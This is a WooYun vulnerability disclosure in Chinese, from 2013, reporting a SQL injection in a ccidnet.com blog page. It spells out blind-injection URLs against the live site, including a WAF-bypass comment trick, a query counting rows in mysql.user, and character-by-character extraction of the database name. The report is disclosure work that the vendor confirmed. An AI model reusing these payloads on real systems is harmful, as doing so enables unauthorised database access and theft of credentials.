漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2013-044013
漏洞标题：赛迪网SQL注入一枚(root注入点)
相关厂商：赛迪网
漏洞作者： sql
提交时间：2013-11-25 16:20
修复时间：2014-01-09 16:21
公开时间：2014-01-09 16:21
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：12
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2013-11-25： 细节已通知厂商并且等待厂商处理中
2013-11-25： 厂商已经确认，细节仅向厂商公开
2013-12-05： 细节向核心白帽子及相关领域专家公开
2013-12-15： 细节向普通白帽子公开
2013-12-25： 细节向实习白帽子公开
2014-01-09： 细节向公众公开
简要描述：
赛迪网SQL注入一枚(root注入点)
详细说明：
注入点在此：
http://blog.ccidnet.com/blog.php?mod=group&fid=2557
http://blog.ccidnet.com/blog.php?mod=group&fid=2557 and 1=1
http://blog.ccidnet.com/blog.php?mod=group&fid=2557 and 1=2
明显一个正常 一个不正常
典型的数字型注入点。
但是他有个discuz的waf 搞得本吊很蛋疼。
不过还是可以盲注的。
http://blog.ccidnet.com/blog.php?mod=group&fid=2557 and (/*!50000sEleCt*/ count(*) from mysql.user)=15
正常
说明有权限读mysql.user 并且用户数是15个。
另外
http://blog.ccidnet.com/blog.php?mod=group&fid=2557 and ascii(mid(database(),1,1))=100
http://blog.ccidnet.com/blog.php?mod=group&fid=2557 and ascii(mid(database(),2,1))=122
http://blog.ccidnet.com/blog.php?mod=group&fid=2557 and ascii(mid(database(),3,1))=120
说明 数据库名是dzx
然后 可以读mysql中的密码信息，表信息 等等 比较慢，我就不弄了。
漏洞证明：
注入点在此：
http://blog.ccidnet.com/blog.php?mod=group&fid=2557
http://blog.ccidnet.com/blog.php?mod=group&fid=2557 and 1=1
http://blog.ccidnet.com/blog.php?mod=group&fid=2557 and 1=2
明显一个正常 一个不正常
典型的数字型注入点。
但是他有个discuz的waf 搞得本吊很蛋疼。
不过还是可以盲注的。
http://blog.ccidnet.com/blog.php?mod=group&fid=2557 and (/*!50000sEleCt*/ count(*) from mysql.user)=15
正常
说明有权限读mysql.user 并且用户数是15个。
另外
http://blog.ccidnet.com/blog.php?mod=group&fid=2557 and ascii(mid(database(),1,1))=100
http://blog.ccidnet.com/blog.php?mod=group&fid=2557 and ascii(mid(database(),2,1))=122
http://blog.ccidnet.com/blog.php?mod=group&fid=2557 and ascii(mid(database(),3,1))=120
说明 数据库名是dzx
然后 可以读mysql中的密码信息，表信息 等等 比较慢，我就不弄了。
修复方案：
过滤
版权声明：转载请注明来源 sql@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：15
确认时间：2013-11-25 16:33
厂商回复：
非常感谢您的提醒
最新状态：
暂无